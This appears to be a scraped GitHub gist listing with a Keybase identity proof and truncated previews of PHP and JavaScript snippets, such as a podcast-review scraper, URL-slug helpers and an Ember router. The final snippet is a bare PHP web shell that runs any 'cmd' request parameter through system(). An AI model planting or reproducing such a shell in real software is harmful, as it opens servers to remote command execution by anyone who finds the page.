I hereby claim:
- I am sgmurphy on github.
- I am sgmurphy (https://keybase.io/sgmurphy) on keybase.
- I have a public key whose fingerprint is 4948 DD81 CF99 3510 DFF0 44A6 A6D8 401E D683 98F5
To claim this, I am signing this object:
<?php | |
/** | |
* Scrape the number of podcast reviews from iTunes for all country specific storefronts. | |
* | |
* @author Sean Murphy <[email protected]> | |
*/ | |
$podcast_id = '366931951'; // Startups For the Rest of Us | |
//$podcast_id = '318567721'; // techzing |
/** | |
* Create a web friendly URL slug from a string. | |
* | |
* Requires XRegExp (http://xregexp.com) with unicode add-ons for UTF-8 support. | |
* | |
* Although supported, transliteration is discouraged because | |
* 1) most web browsers support UTF-8 characters in URLs | |
* 2) transliteration causes a loss of information | |
* | |
* @author Sean Murphy <[email protected]> |
<?php | |
/** | |
* Replace all occurrences of the search string with the replacement string. | |
* | |
* @author Sean Murphy <[email protected]> | |
* @copyright Copyright 2012 Sean Murphy. All rights reserved. | |
* @license http://creativecommons.org/publicdomain/zero/1.0/ | |
* @link http://php.net/manual/function.str-replace.php | |
* | |
* @param mixed $search |
<?php | |
/** | |
* Create a web friendly URL slug from a string. | |
* | |
* Although supported, transliteration is discouraged because | |
* 1) most web browsers support UTF-8 characters in URLs | |
* 2) transliteration causes a loss of information | |
* | |
* @author Sean Murphy <[email protected]> | |
* @copyright Copyright 2012 Sean Murphy. All rights reserved. |
I hereby claim:
To claim this, I am signing this object:
import Ember from 'ember'; | |
import config from './config/environment'; | |
const Router = Ember.Router.extend({ | |
location: config.locationType, | |
rootURL: config.rootURL | |
}); | |
Router.map(function() { | |
// app routes |
<html> | |
<body> | |
<form method="GET"> | |
<input type="text" name="cmd" id="cmd" autofocus> | |
<input type="submit" value="Run!"> | |
</form> | |
<pre> | |
<?php | |
if (isset($_GET['cmd'])) { | |
system($_GET['cmd'] . ' 2>&1'); |